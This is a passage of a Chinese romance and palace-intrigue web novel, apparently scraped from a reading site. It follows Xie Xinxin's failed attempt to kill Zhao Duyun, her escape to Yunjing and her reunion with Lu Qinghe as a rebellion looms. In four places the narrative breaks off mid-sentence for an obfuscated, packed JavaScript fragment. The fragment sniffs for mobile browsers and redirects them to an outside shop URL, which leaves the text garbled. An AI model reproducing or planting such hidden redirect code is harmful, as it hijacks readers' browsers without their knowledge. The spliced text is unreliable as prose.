嘴角肉眼可见的肿起来,给这张五官艳恣的脸平添了阴鸷的美丽。谢辛辛想,就是现在,她要杀了这个人,伸手向身后的被子里摸去—— 赵都云的手臂却先硌到一块硬物,“这是什么?”他也向被下探掌,谢辛辛心一凉,要去按他的手,却被他先行将东西拿了出来。 却不是剑,“玉虎?”,赵都云愣怔在远处,“这不是我收在……” 紧接着他神情大变,“你从哪里找到的?那些东西,你全看见了?” 却不等他问完,谢辛辛抽剑而出,几寸袖剑,比囊刀要细巧,也更锋利,哪怕是在她这样的姑娘手中,一息的时间也可刺破他的皮肉。 剑光剡然,她不敢多想,用上了毕生最大的力气,一时间剑锋撞骨的钝感震麻了手。 可是转念觉得不对,她明明刺向的是那人的喉! 惶然地抬眼,面前之人死死握住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13666935|130187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的剑刃,因坐起了半身,剑锋刺进了赵都云的两肋之间,黑血逆着刃流到她的手指上,粘腻不堪。 袖剑在赵都云的手掌上割出深可见骨的伤,赵都云却不知疼一般收紧了手,让那剑不得再前进一寸,面色沉痛茫然,“你在干什么?” 谢辛辛想将剑抽回来,却发觉剑在他手中动弹不得,牙缝里挤出字来: “我在,杀你。” “为什么?”血从赵都云的身体上滴落,他低头看了一眼,眼底染上赤色,“我对你还不够好吗?难道就因为……这些?” 他另一只手,将锦被一扬,数个小玩意叮叮咣咣抖落一塌,全是她童年的爱物。 赵都云悲戚地看着她:“我替你收好这些,有什么错?” “替我收好?”谢辛辛冷笑,“既然是替我收的,为什么不早点交还给我?难道是怕我知道你是怎么得来的?” “……你果然还是猜到了。”赵都云低声念了念,须臾后,却咧开一个艳冶的笑容,“不错,我从谢府拿的。” 她的手一僵,就这么一瞬的恍惚,叫赵都云寻到了破绽,硬生生将剑锋从自己身体里拔了出来。 他们一人握着剑刃,一人持剑柄,在乌灯黑火的房间里僵持着。 赵都云笑如鬼魅,似乎在等她先开口。 她颤抖着声音: “是你害的我爹娘。” “是你烧了我家……” 赵都云摇摇头。 “是,也不是。” “谢府是我烧的,但不是我害了你爹娘。是你爹娘辜负了我。” 谢辛辛失了声:“你住口!” “无论我说了什么,都和我爹娘无关。退一万步说,哪怕是我的话刺痛了你,我爹娘又何曾负你什么?就凭爹和老王爷的交情,他怎么可能辜负你?” “就是因为你爹和老王爷的交情!”赵都云猛然拔高了声线,“我赵都云,要权,要势,要万人之上!可我爹,处处阻拦!这个老东西,他懂什么?!” “他看重太子,瞧不上大皇子,可是太子党都是京中大门大户的望族,在朝中早就根基深厚,若等太子登基,这一口羹一口肉的,一个个分过去,要分给多少人?可大皇子就不同了……” “大皇子麾下,虽未及太子党人数壮大,却都是又野心的后生之臣,论家世,论名望,论资历,他们行事,都该唯我是瞻。若要笼络朝臣,还有比这更好更快的机会吗?” “但宣王府里,王爷和世子是一体同心,只要老东西想和太子往来,大皇子无论如何也无法信任我……我要将宣王府拿在手里,去找谢叔叔配合。宣王府在莲州树大根深,多有莲州谢氏倾力支撑的功劳……” 谢辛辛越听,越是痛彻肝肠。爹娘的性子她还不知么?绝不会为了赵都云做出背叛友人之事。 可惜手上再用力几分,也抵不过赵都云的力气。她绝望地打断他,“爹爹不愿助你,你就要烧死我们全府吗?” “我怎么会呢?”赵都云无辜地眨眼,“他们死,是辜负了我第二次。” 忽地院中有瓦片落地之声。赵都云面色一变,“谁?” 谢辛辛却倏然弃剑起身,牛犊一般全身朝他猛地一撞,朝门外冲了出去。 77.雪满松 被她猛力一撞,正撞在肋间伤口,赵都云猝然咳出一口血。再慌忙追出去时,只看见一个黑影翻出了院墙。 “来人!!”他嘶哑着声音,“来人!!去追!!!” 可惜此处隐僻,是他自己精挑细选的隐秘之处。 无人回应,他恍然才发觉自己浑身的疼痛,手在流血,身上和脸也伤痕累累。才要自己去追,却一个脱力跪倒在地上,视线平齐之处,正巧看见案上燃尽的香灰。 原来如此…… 他将血啐在地上,恨恨盯着这香。 原来她早有预谋,一直计算着时间。 谢辛辛冲出去时,只见檐上来者身着夜行服,早在墙头等她。 那人也不懂怜香惜玉,等她一接近,就将她打横抱起扛在肩上,跳墙跑了。 她被抡得头晕,病恹恹地问了一声:“陆世子?” 陆景明飞檐走壁的功夫倒是好,燕子似的飞过一道道围墙和白幡,口中道:“是我。你没看清是谁,就敢冲过来?一个姑娘家,万一来的是歹徒怎么办?” “……赵都云就是歹徒。不管来的是谁,能带我出宣王府就行。”她闷闷道。 陆景明无从反驳。云顺郡王确实不爱干人事,别说人事了,就他谋划的那些,没有不是大逆不道的。 “你怎么跑得这么急?谁要害你?你叫我子时来,是算准了?” 一连三个问题,问得谢辛辛不知如何回答,干脆闭上嘴,一个也不答。 她不说话,陆景明也不愿意琢磨。军中成长的孩子,爽利惯了,没有弟弟那种爱费心的性子。若非为了自己的前程,更是不会和赵都云这种阴鸷之人多说一句。 奔跃在高处,见得宣王府四下的人像一窝着了火的蚂蚁,忙乱了起来。各种披着白布的下人四处奔走,口口相传着某件吩咐。紧接着,一扇一扇门被关上。 “怎么回事?”陆景明嘴角捺了下,“被郡王发现了?这么快?” 如此,倒激起他一点竞速的斗志。他肩上扛着姑娘,赶着整个王府戒备起来之前,一路飞奔到预先栓了马的小巷。谢辛辛找地方换了衣服,将沾了血的囚服褪下来丢了,淡淡地说了一句,“毕竟你是从他手上抢的人,当然立时就被发现了。” 陆景明一愣,随即有了怒意,“方才追你的人是他?声音哑成那样,我竟没听出来。郡王找你还有事,你为何不提前跟我说?” 他来宣王府接人,全是为了陆清和手中的东西。若惹恼了赵都云,不是得不偿失么? 谢辛辛睨他一眼,“不用怕,不是让你穿了夜行服吗?” 这是重点吗? 陆景明深吸一口气。 重点应该是这个小掌柜利用他们二人之间信息的差距,平白使他冒了一次险。 她没有骗他,只是隐瞒了一些事情,就让他险些撞在赵都云的枪口上。现下想来,她提前让他穿好夜行服,竟不是出于对自己的体贴。怕是担心若赵都云能认出他陆世子,他反而会临阵退缩,不带她出去了吧? 难道在她问出“你可认识这位云顺郡王?”的时候,她就盘算着这一切?陆景明冷汗涔涔,隐隐察觉自己被算计了个彻底。 可他不想和小姑娘计较,于是冷硬地让她上马,自己扬鞭准备赶路。无论如何,先逃命要紧。 小掌柜坐在自己背后,攥着他衣服的一角。彻骨的夜风吹来,陆景明感觉自己的衣服都冻成了冰。 他摸了摸后背的衣裳,抬手一看,是血。暗红的血 陆景明一愣,面色凝重起来,扬鞭加快了速度,“你受伤了……他要杀你?那我此举着实过险了。再拖不得了,你忍一忍,我全速驾马离开,现下也没时间给你包扎伤口……” 他心下已然有些后悔,没想到一个小小掌柜会有如此大的干系。谁知他还是把事态想得太好了,谢辛辛淡淡地应他,“我没受伤,不是我的血。” 陆景明没反应过来,“那是谁的血?” “赵都云的。” 陆景明沉默了。 良久之后,他艰难地想到一个可能性,那就是赵都云不想谋反了,“他畏罪自戕?” 谢辛辛道:“不是,我要杀他,捅错了地方,没杀成,还把陆清和给我的剑弄丢了。” “你要杀他?”陆景明简直想把她从马上扔下去,“你一个酒楼的女掌柜,去宣王府刺杀王公?” 还把他牵扯进去? “没杀死……”谢辛辛在马背上颠簸着,有气无力道,“我失败了……” 寥寥几句,大有心神灰败之感。陆景明再要和她说话,竟然没了回音。 软绵绵的身子沉沉撞到他后背上,陆景明勉强回头去看,她竟已然昏了过去。 昏过去也好,他可以专心赶路。陆景明咬牙甩了一马鞭,开始痛恨这些心眼多的人,赵都云,陆清和,谢辛辛,甚至是……当今圣上。一个个的都一副高深莫测的样子,实在可恶。 那厢,宣王府将整个莲州城翻了个底朝天,所得却只有在某处寻得的一件浸了血的女囚衣。赵都云听了消息,险些按不下怒火,在灵堂上就要砸东西。 宣王妃——如今追封了贞字,成了宣贞王妃——此时淌着眼泪幽幽吐出一句:“郡王爷怎么还和小时候似的?王爷丧仪之上,岂容你因儿女情长失态妄为,失了王家体面?” 敢议论赵都云的童年之人,眼下也只有宣贞王妃够格了。灵堂众人一下子是哭也不是,走也不是,战战兢兢跪倒了一片。 赵都云紧紧扣着手,却发现灵堂各处都是王妃贴身的人在把持。他张口想要叫李贵,才想起来,李贵一家已经都被自己打杀死了。 老王爷死得急,没死在他计划的时候,导致他赶回来时失去了最好的良机,竟然王妃将王府大权独揽在手了。 他冷笑一声,“父王宾天,母妃倒似是春风得意。” 宣贞王妃还未说话,身旁宋嬷嬷却出声道:“请郡王慎言。府中新丧,此时伤了王妃与王府上下的情谊,如何告慰王爷在天之灵?” 王爷在世时,这位宋嬷嬷便是王爷的手眼。王爷死了,宋嬷嬷几乎就是王爷在世的遗物,反而连带着身份地位都更尊贵了些。此刻她站在王妃身边执大义之词,没人觉得有什么不妥。 赵都云眼中笼起危云,不免察觉宣贞王妃此次反应如此及时,少不了王爷身边这位宋嬷嬷的配合。 小不忍则乱大谋。赵都云咧开一个难看的笑容,“母妃,云儿心中哀恸,才容易一时冲动,请母妃勿怪。” 他拂袖而出,心中想着自己为何会到这种境地。 他虽然自小有野心,也知道天家极权,强干弱枝。他要坐龙椅,单凭宣王府,不足以成大事,故而一直蛰伏。可三年前邺州矿脉意外被发现。若能利用铁矿山铸养私兵,对他而言无疑是极大的助力。 明明他所筹谋的很好,先在莲州,借巨商谢氏之力,铢积寸累。再凭靠大皇子一党,在朝中打通关系,外联东洋,内联莲、邺州府。 老宣王半死不活,他靠宣王府和郡王封地的田产税赋,供养三百万精兵不成问题。区区云京城就是一只小虫,在他织就的网中等待被啃食。 他的计划很完备,可先是谢氏一门不配合,谢老爷不愿参与谋反,不近辜负他的情意,还辜负他对谢家长辈的信任。 无妨,他便想办 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687547|130187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法剜干净谢家。 可他亲父王竟然也不支持,说什么人臣之道,可笑。 彼时他一个无依无靠的世子,能如何?只能叫人将亲爹药残了,自己来撑宣王府的门面。 谁能想到,亲爹连死也死的不是时候,一个不备,王府的大权落进宣贞王妃的手里。凭什么?凭什么全天下都仿佛和他赵都云在对着干? 他赵都云偏要逆天而行。 只是玉春楼的掌柜跑了,郡王的爵位又一时下不来,宣王府也变了天,那么手里的兵再养下去,怕是只会拖垮自己。 “不能等了,再等就是冬天。”他摇摇头,和身边人吩咐,“给云京去信,下月就一举进京,叫人接应。” 十常山的雪峰,似乎又厚重了些。 急风回转,冰凉的雨丝飞进窗户里,悄无声息地湿了信纸。 阿凤匆匆地跑进屋子里来拉上帘子,“公子,落雨了。” 陆清和倚在塌上,清隽的五官泛着浅青,宛如冷玉雕就的菩萨塑。他一错不错的看着窗外,轻轻道:“声音这样轻,我还心道是雪呢。” 尖细的声音从远处而来,“是雪就好了,圣上盼着下雪呢。” 陆清和艰难起身,力不能支,还是勉强坐直了身子,问了声“公公”。 下雪好吗?他心里想着。对圣上、对社稷,早点下雪是好的。禁卫军和北瑛王府的兵都是北方汉子居多,不惧风雪。 可他翘首以盼的人却还没来,莲州到邺州,说近不近,说远又着实很远,若落雪成冰,水路走的慢,陆路又难道好走?陆景明只带去一匹马,若在掺雪的泥泞中滑了脚,将那金子做的人儿摔了可怎么好。 其实他何必怀疑少年将军的骑技? 公公不给他再思虑的时间,兀自走进了屋将他按下,“身上不好,何必讲究虚礼。奴才此次没有什么要紧事,只是拿了一份名单,请陆二公子过目。” 陆清和客气着接过来一看,两页纸书法遒劲,他不动声色地抬了抬眼。 公公点点头,证实了他所猜不错,这份名单是御笔。 顺着看下去,第一张纸,书有监正使侯信,尚书令陶和同,大学士苏博远、齐康泰等,还有几位州县司使官员。 另一张纸上,书有枢密使曹高明,户部侍郎南宫敖,翰林学士承旨文察,仍旧是跟有几位六至八品的州官。 他审慎地看下去,指了指其中几个人,“这几位倒是不常与王爷来往,烦请公公多留意。这几个,和陆某在南方有一番际遇,这位……” 他指节敲了敲纸张,“徐明庚……” 公公会意,附耳上去,听着听着神色变了,才要多问,却听屋外穿来重重的几声钝响。 公公顿时后撤,蹙眉问:“怎么回事,不是禁足了吗?” 陆清和心上一抖,宛若积雪落满青松,有一股重量坠得他心沉下去,沉到深处,化作满腔的温热。 他浅笑了笑,胸中有火燎开冰冻的湖面,面上却是淡淡的抱歉,“许是家兄翻墙找我来了,家兄性子急躁,并非不敬圣上,还请公公莫怪。阿凤,带公公从暗门走。” 他自己则勉力下地,整肃了衣容,自己用梳篦将乌发篦过,匆匆地往外走。 只一眼,便看到朝思暮想的人坐在墙头上。风拂过她粉媚却疲惫的面颊,似要替她抚平眼尾那一丝倦容。 陆景明比她先落地,此刻张开手准备接她。她咬着唇,正要往下跳。 陆清和却走上去,朝高处伸手,含着笑叫她:“辛辛。” 轻飘飘地入怀,是飞鸟噗的一声撞进满树花。漫天的念想终于有了归处,他说,你来了,我才算是回家了。 78.盼卿卿 那样藏在心海中的人,乍拥入怀,冲散了满身的冷药香。 谢辛辛那因刺杀失败而丧气的心,在云京的小雨中一经浇灌,从灰烬里冒出小芽来。 “莲州来云京……怎么现在才到。” 陆清和匆忙撑起一把伞,下巴搁在才跳下来的谢辛辛头上,眼盯着陆景明,似有埋怨。 显然,伞只有一把,陆景明只好自己站在墙檐下躲雨,耸肩道:“你自己问她做了什么,害得我一路上躲避追兵不说,还得抽空给她找郎中……” “郎中?”陆清和皱眉,“怎么回事?她怎么了?可是受伤了?” 陆景明却不回答了,“先把我们说好的证据给我。” 他们说话儿的时候,谢辛辛伏在陆清和身上还未起。她本有满腔的话要说,却不由得吸了吸鼻子,“什么味呀,你闻起来好像玉春楼出品的八宝药膳鸭……” 陆清和笑了一声,小声问,“想什么呢?……你身体,无碍?” 她嗯了一声,“没伤着。”却感到陆清和的臂膀拥她更紧。 就这么紧紧箍在怀里,直待确信了她真的完好齐整地来到了他身边,陆清和才缓缓吐出一口气,在她耳边道: “陪我演一场戏。” 呵气如兰,她耳根一烫,还没回过神来,身下忽然一轻,整个身体随着陆清和直直地倒到地上去。 随着她惊呼一声,陆景明也慌了,正要伸手去扶他们,陆清和的身子却在风中一歪,伞锋划过陆景明的手指,二人一齐避过了他的搀扶。 将谢辛辛护在怀里,陆清和自己硬生生摔在了地上。 咚的一声,油伞跌落地面,陆清和吃痛一般阖上了眼。 “清和?清和?怎么……怎么搞的?!”一旁的陆景明无措起来,“小掌柜,你方才跳下来,给他砸晕了?” 谢辛辛一怔,从湿漉漉的地面上爬坐起来,才要否认,身下的人在她手臂上微微掐了一记。 她会意,当下就不悦道:“陆世子,你怎么血口喷人?我跳下来时,他不是好好的?分明是你刚刚说话,将他气晕过去的。” 陆景明哪里能认,拧眉就道:“你这小娘子,竟是个不讲道理的,亏我一路照看着你。你自己赌气,一口瘀血阻窍,厥晕过去,我还去医馆给你开了补益的药方。” 谢辛辛听了,是有些讪讪。她那日在宣王府功亏一篑后,睡的时间多,醒的时间少。陆景明常常担心她昏死后就再也醒不过来了,耽误不少路程。 正不知道怎么应对,阿凤忽然从里屋钻了出来,“谁?谁把公子气晕了?” 谢辛辛欣喜叫他,“阿凤!” 阿凤见了她,心里也高兴,“谢小掌柜,你可算来了,公子他禁足这几日,嘴上不说,但总是看着东南边的天空出神……” 眼见着就要跑题了,谢辛辛眼睛眨得像蜜蜂儿的翅膀,使劲给他递着颜色。 “噢!”阿凤反应过来,“我家公子这是怎么了!世子殿下,就是你把我家公子气晕了的?” 陆景明百口莫辩,“我不曾……” 阿凤道:“世子殿下,那您还杵在这里做什么?这正要立冬的时候,我家公子的身子最虚弱,不管你要找公子说什么话,这时候都别逼着他。世子殿下,阿凤送您出去。” 说到陆清和的身体,不免勾起了陆景明的一点愧疚。他清了声嗓子,“那我明日再来。” 走出去几步,又觉得有些不对。自己劳心劳力地替他带回了姑娘,不仅没拿到报酬,还被紧催着赶走了? 这个二弟啊……他摇了摇头,且笑了一声,这一笑,方才意识到如今不是体味兄弟情谊的时候。 他已经选了一条没有亲人的路,此时,不该再耽溺于亲情了。 雨势渐大,很快有下人打着伞接回了陆景明。他也不知要发泄什么,明明已然疲累至极,还是狠狠地打了半个时辰的木人桩。绣着飞天的红缎袍衫混着汗和雨,湿淋淋地贴在身上。 最后长呼一口气,在茶桌前坐下,仰头饮完一碗参茶。 这时候才有人来报,称,“少将军,蚀心散找到了。” 陆景明一愣,说知道了,下去吧。 过了不到一刻,却叫回那人道,把蚀心散拿过来,给他看看。 陆景明走出去没多会儿,谢辛辛戳了戳地上不动的人: “还不起来,地上不凉么?” 陆清和这才悠悠地睁开眼,狐狸般的眼睛勾着笑意,在阿凤的搀扶下拂着身上沾湿的水。 “凉。”他顺口接道,“去屋里坐吧。” 天气真的转凉了,说话间,白气从两人的唇边呼出一团一团。 谢辛辛咕哝着什么,不情不愿地打帘子进去。总觉得久别重逢,和自己预想的不同。原本打算的殷殷相诉,都被陆清和这佯装一跌给打破了,再要寻回第一眼见着的感觉,却怎么也找不到。 “没办法,兄长总是强人所难,缠着我要一些我给不出的东西。我想和你说话,非得找个幌子将他赶走不可。” 能颠覆朝堂的事情,被他举重若轻地带过。陆清和往铜盆里添上炭,拿起上头暖着的白釉执壶为她斟姜茶,斟毕,又唤她一声,“辛辛。” 见她不抵触这样唤法,愈发柔和了目光,“和我说说吧,我不在莲州的时候,你都遇到些什么事?做了什么?” 谢辛辛顺着陆清和的话回忆着,倦懒渐渐爬上眼睛。 灰心丧气的事情,再想起来总是那么让人觉得疲惫。她茶桌前说着如何去见边青昙,如何下了大狱,又如何使计让赵都云赶回莲州…… 陆清和坐在塌上,听着听着,脸色愈发苍白。 讲到发现赵都云就是自己的仇人时,谢辛辛忽然停下了叙述,说,“陆清和,我累了。” 陆清和神色松动了一下,自己往榻边挪了挪,“要在这里休息吗?” 意外的是,谢辛辛不挑剔也不推辞,三步并做两步过来在塌上一歪。躺好了,就拿一方帕子遮在脸上。 陆清和没有再追问她——这样就很好,让她一个人安静一会儿,仿佛又回到了在马背上,朝着云京赶路的状态。 不说话,也不知是醒着还是梦中,静静地感觉自己的灵魂游出了身子,荡在天上看这个世界。如果是梦,她理应再梦回谢府,牵着刘宛,在火势蔓延前向谢家不断奔跑…… 为什么却梦不到了呢?是因为自己的复仇计划失败了吗?那莽撞的一刺,没能命中要害,大概永远失去了让赵都云放下戒备的机会。 那梦中的自己忽然回身,跑向了相反的方向。 “走错了,走错了……”她飘在空中对小小的谢辛辛大喊,“该往家里走呀……” 地上的谢小小姐听不见,义无反顾地朝远处去。 前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715099|130187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几日,她时常从这样的梦中惊醒,醒来后,身边的风景依然在不断后退,提醒着她,如今她也在朝相反的方向逃去了。 朝远离仇人的方向。 是她太冲动。谢辛辛忍不住想。 明明已经和赵都云共处一室了,为什么不能再忍让忍让,哪怕顺着他的心意,任他撩拨……为了给爹娘复仇,谢辛辛,你难道连这点清白都不愿意牺牲吗? 空虚的灵魂游荡游荡,在空中打了个转,忽然俯视着云京这里,塌上躺着的自己。轻罗著细腰,潮湿的衣裳勾勒出像流水一般沉浮的曲线。也是,这锦衣玉食养着的玉体软弱无力,打不过男子,又不愿取巧,还有什么办法?归根到底,是自己思虑不周,太狂妄,又太弱小…… 那盖在脸上的帕子,无端透出汪然的两团水渍。压抑了许久的啜泣从手帕下传来,一声声揪着陆清和的心。 “我没能杀了他……”她声音低低地在手帕下响着,“陆清和,我失败了,三年多了,我只为了做这一件事,可是我失败了。” 她脸上的帕子在颤抖,陆清和知道她在落泪,也知道她不愿被人看见,只是温声应着:“不是你的错。” “怎么不是我的错?”反驳他的时候,她听起来倒有些力气了,“若我再耐心一些,若我将那把剑再握紧一些,若我盯着他的动作、再仔细一些……” 陆清和静静地听着,他心想,为何要这样苛求自己呢?她才十七岁,正是在春日宴上饮酒扑蝶的年纪啊。 可他没有说出口,因为眼前的是她,谢辛辛,从火海中飞出的烈鸟,怎会接受饮酒扑蝶的游戏? 他只是听着心碎,再将这情绪咽下去,伸手摘下她脸上的手帕。 如玉的手指替她拭泪,触感很是冰凉。她拂去陆清和的手,自个儿用手掌遮着面。 他叹了口气,掰开她的手:“谁教你这样的?” 谢辛辛没听明白,从指缝里流着泪看他。 “谁教你这样,满肚子都是自己的盘算,一个字也不吐露?谁教你这样回信,字字冷漠,却一个人去赴汤蹈火?谁教你哭的时候要用帕子遮住,不叫别人看见的?谢辛辛,你以前也这样吗?谢家还在的时候,谢夫人是叫你这样活的吗?” “……自然……不是。”她怔怔道,“可谢家不在了……” “谢家还在。”陆清和覆手将她的手掌从脸上掰开,望进她的眼睛,“那日傍晚,星垂莲野,玉春楼前,你不是叫我一起回家吗?” “你谢辛辛还在玉春楼,玉春楼就是谢家。谢家一直在你的身后,我亦是如此。” “什么?” 陆清和认真道:“我亦是如此,我亦是,一直在你的身后。为何总是装作看不见我呢?难道我们不是在邺州起,就是同一阵营的盟友了吗?我何时背叛过你,何时负过你,为什么不愿信任我一回呢?” “相信我,辛辛,我能帮你。” 他将二人握着的手拿到她眼前,叫她看个清楚,“你怕剑握得不紧,我同你一起握,你一双眼看不仔细的东西,就用我的眼睛看。” 看着不知所措的小掌柜,他忽然回过神来,抱歉道,“对不住,吓到你了么?” 手却不松,紧紧握着她,弯了弯眼睛,“我方才说的,你觉得如何?要用我的眼睛看一看么?我回云京后,可是打听到许多你会感兴趣的事。有关赵都云,有关谢家。” 79.造反了 谢辛辛坐起身子来,直直地看着他。 她心中没有感动么?当然是有的。陆清和的话像温水一般浸润了她枯槁的心。 他说的很对,她还有玉春楼,还有家人,一次不成,便有下次。从前她是一个人,如今她拉着陆清和一起,总还可以再试一次。 可她恢复了精神,就觉得有一笔账要好好同陆清和算一算了。 她一字一顿,笑眼看着她,“怎么不说话?陆、二、公、子?” 才大言不惭地诉说了衷情,被猛地那么一问,陆清和脸上发烫,猛咳了几声,就要起身。 可手却抽不回来了,被小姑娘反手攥住,往回一拽,唐突跌坐回塌上。 他无奈道:“辛辛……” “你瞧瞧,你方才说的什么话?”谢辛辛睁大眼睛,明明还未褪去的泪缀在脸上,嘴上却不饶人,“你若真的有这样好心,还会骗我这么好些日子?你的嘴好严呀,嗯?北瑛王府的门生?” 陆清和别过了脸,“这与我的心意是两码事……” 谢辛辛坐起来,拖长了声音,“噢,这是两码事。陆公子的意思是,喜欢归喜欢,欺骗归欺骗,两不相干?” 她理直气壮地拽着他,叫他回过头来看自己的眼睛,“是吗?陆公子?” 陆清和局促起来,沉静的眸色里一圈圈地荡起涟漪,“不是,我并非有意欺瞒你,不然我为何要将你接到府中?我若真的要骗你,我大可以在府外随处找个宅子将你安置……” 谢辛辛笑了,“在云京随处找个宅子,不愧是北瑛王府的二公子,说话就是有底气。早知如此,当初就不请你吃饭了。” “辛辛,别这么说,这件事是我的不是。”他手足无措,一紧张,竟从塌边拿了块饴糖堵住她的嘴,“不许再说了。” 冷不防被塞了一大口糖,倒让她愣住了,口里含着糖蜜,含含糊糊地,“凭任么不许说?敢桌不敢当,是何君子?我可不是三岁小孩儿,怎么还喇糖哄我?你若说不出个所以然来,我……我……” 她能如何?其实她阴差阳错从莲州逃出来,只有陆清和一人可以投靠了,她还能拿什么威胁他呢? 想到此处,她忽然沮丧下来,没心情再闹了。 “算了……”她颓丧道。 陆清和道:“我怕你嫌恶我。” 谢辛辛:“什么?” 陆清和复又叹了口气:“彼时遇见你,确实是想着须隐藏身份。可后来,我是怕你嫌恶我。” “你曾说,王公世家,同出一辙,皆仗势欺人,草菅人命。一想到你若得知我是北瑛王之子,以我为赵都云那等人的同类,必会心生龃龉……一思及此,我便心有惴惴。” “本想等你对北瑛王府有所了解,我再将身世缓缓告知于你,怎知事态一波未平一波又起,竟然没有徐徐图之的时间了。” “是我欺瞒辛辛在先,请辛辛恕我。” 他不再挣她的手,安静地望着她,身子朝她微微倾斜,温驯之至,像一只低伏认主的狐。 这样诚恳,反让谢辛辛感到一丝窘迫,“没有,嗳,也没有这么严重……方才说到哪里了?哦,那个,你在云京得到的信息,且说来听听,算你将功补过,可、可好?” 也不知从何时起,她激他、怨他、请他帮助,似乎总不自觉地站在了上位者的角度。细细想来,原是陆清和自愿低下姿态,字字句句都将她捧在高处,安抚她、配合她、盼她谅解,所以她结结巴巴,是还没有适应。 说着让他将功补过,却忍不住试探地问出“可好?”,有种微妙的割裂感。陆清和听完也莞尔,“自然,你不必征询我。我想要让你信任我,这几日都唯你是从。” 他起身,从层层叠叠的书卷中翻找出为她搜集的密录。 她接过来,都是未曾见过的人名,“这都是谁,我不认识。” 陆清和手指点在录卷上,一个个为她介绍,“这个名字,是都虞候,这位是亲卫府三卫郎,这位,是瀛海节度使,负责接近东洋的军事防御……这些人本追随大皇子殿下,近日查证,发现他们都与赵都云往来密切,恐要暗度陈仓。” 她虽不通朝政,听着听着,脑中却描摹出一副地图来。从瀛海节度使到云京城,俨然是一条从东洋沿海直通官中的路线。 往事如丝线,在脑中穿横而过,织成不容否认的事实,“赵都云他,果真要反?” 纵然曾经便有蛛丝马迹,她其实下意识总觉得这种事离自己很远。更何况对百姓而言,赵都云与天家同为赵姓,皇帝换了个名字,对他们而言有什么分别? 若是她不认识赵都云,她怕是也会这样想。 但她了解赵都云,深知他绝不是堪登皇位之人。 “此事如此重大,你查出一星半点都算是大功了,天家为何禁你的足?宫里为什么不派人将赵都云抓起来?” 陆清和:“宫里……总之,你不用急,他逆天违众,若能悬崖勒马也就罢了;若是他执意遁天妄行,必有一死。” “可万一他……”谢辛辛只说了一半。 他们二人交换了一下目光,都知道后半句是“万一他成功了呢”。 万一他没有死呢?她一酒楼掌柜,对当今圣上可谓是一无所知,若赵都云的手段真的更胜一筹呢? 陆清和静了片刻,“不可能。” “……你就这么笃定?” 陆清和沉眸答:“北瑛王府将倾力配合圣上,拦截叛军于十常山外,不让赵都云踏进皇城半步。” “能行吗?”谢辛辛听了仍然很是怀疑,“不是瞧不起北瑛王,只是你有没有发现,赵都云身上,似乎有许多东洋来的物件……倘若他内起入京,东洋滋扰边境,届时内忧外患,一个北瑛王府的兵力,可够?” 陆清和摇摇头:“自然不能坐以待毙。所以,辛辛,你能帮我这一回吗?我答应你,一定替你取他的命。” 谢辛辛摇了摇头:“乱臣贼子,人人得而诛之。你如此说,却是看不起我了。说吧,要我帮你什么?” 陆清和却一笑:“虽然你写什么‘不必来信’,绝情的很。但我信中嘱托,你可有心完成?” 在女牢收到的那封不咸不淡的信书,却信末他状若无意的提了一句:那日从王府中带出之毒药,小心收好,恐有所需之时。 “……我让范守一替我送到狱中了。”谢辛辛从襟中摸出小小的纸包,神情有些别扭。明明是说了一别两宽的话,却忍不住听取了他的建议,总是令人害臊, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729157|130187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……不过后来辗转王府,为掩人耳目,只带出这一小份。可用得上?” “用得上。”陆清和欣然接过,“当时未能尝其味,如今再拿来给我服用,也算它物得其所。” …… 御书房中天子高坐,案下是陆佗蟒袍金冠,声音铿锵落地:“……东洋边境一带,来寇侵扰愈加频繁了。边军来报,敌寇狡猾,只扰不攻。陛下,为何还留我在京城?” 天子高坐沉吟,批折的朱笔微顿,并不答。 陆佗跪地抬头,重重道:“陛下!边境百姓……” 霍必恩急切打断道:“王爷!”不住地朝这边使着眼色。 再让这北瑛王说下去可怎么了得?怕是要拿百姓来压皇上了。 皇上自然听出了霍必恩的小聪明,冷哼一声,将笔一掷,“让他说。” 陆佗眼神渐渐凉下来。 既然明白了天子并不急这一时,何苦再此处自找不痛快。 